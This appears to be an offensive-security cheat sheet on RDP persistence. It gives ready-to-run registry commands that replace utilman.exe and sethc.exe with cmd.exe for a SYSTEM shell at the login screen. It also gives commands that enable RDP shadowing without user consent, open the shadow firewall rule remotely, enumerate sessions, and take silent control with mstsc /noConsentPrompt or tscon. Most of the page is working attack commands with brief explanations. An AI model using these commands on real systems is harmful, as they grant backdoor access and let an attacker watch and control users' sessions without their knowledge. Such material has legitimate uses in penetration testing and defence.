RDP - Persistence

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RDP Backdoor#

An RDP backdoor is a malicious technique where an attacker replaces the legitimate binary files of utility manager (utilman.exe) or sticky keys (sethc.exe) with a command prompt (cmd.exe) executable. This allows the attacker to gain unauthorized access to the system by launching a command prompt when the ease of access or sticky keys button is pressed on the login screen, bypassing the need for authentic credentials.

utilman.exe#

At the login screen, press Windows Key+U, and you get a cmd.exe window as SYSTEM.

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

sethc.exe#

Hit F5 a bunch of times when you are at the RDP login screen.

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

RDP Shadowing#

RDP shadowing is a feature of Remote Desktop Protocol (RDP) that allows a remote user to view or control another user’s active RDP session on a Windows computer. This feature is typically used for remote assistance, training, or collaboration purposes, allowing one user to observe or take control of another user’s desktop, applications, and input devices as if they were physically present at the computer.

Requirements

TermService must be running

sc.exe \\MYSERVER query TermService
sc.exe \\MYSERVER start TermService

SYSTEM privilege or the account’s password

Enable RDP Shadowing

Shadow Remote Desktop Session can be enabled by editing the HKLM\Software\Policies\Microsoft\Windows NT\Terminal Services registry key.

Value	Name	Description
0	Disable	Remote control is disabled.
1	EnableInputNotify	The user of remote control has full control of the user’s session, with the user’s permission.
2	EnableInputNoNotify	The user of remote control has full control of the user’s session; the user’s permission is not required.
3	EnableNoInputNotify	The user of remote control can view the session remotely, with the user’s permission; the remote user cannot actively control the session.
4	EnableNoInputNoNotify	The user of remote control can view the session remotely, but not actively control the session; the user’s permission is not required.

Usually you want to be able to see and interact with the Remote Desktop: option 2 EnableInputNoNotify.

reg.exe query "\\MYSERVER\HKLM\Software\Policies\Microsoft\Windows NT\Terminal Services" /V Shadow
reg.exe add "\\MYSERVER\HKLM\Software\Policies\Microsoft\Windows NT\Terminal Services" /V Shadow /T REG_DWORD /D 2 /F

If you encounter any trouble with the network, enable the Remote Desktop - Shadow (TCP-In) firewall rule.

$so = New-CimSessionOption -Protocol Dcom
$s = New-CimSession -ComputerName MYSERVER -SessionOption $so
$fwrule = Get-CimInstance -Namespace ROOT\StandardCimv2 -ClassName MSFT_NetFirewallRule -Filter 'DisplayName="Remote Desktop - Shadow (TCP-In)"' -CimSession $s
$fwrule | Invoke-CimMethod -MethodName Enable

Enumerate active users

Query to enumerate active users on the machine.

quser.exe /SERVER:MYSERVER
query.exe user /server:MYSERVER
qwinsta.exe /server:MYSERVER

Use the shadow mode

Use the noConsentPrompt parameter and specify the session ID obtained from the previous command.

MSTSC [/v:<server[:port]>] /shadow:<sessionID> [/control] [/noConsentPrompt]
mstsc /v:SRV2016 /shadow:1 /noConsentPrompt
mstsc /v:SRV2016 /shadow:1 /noConsentPrompt /control

On older version you have to use tscon.exe instead.

psexec -s cmd
cmd /k tscon 2 /dest:console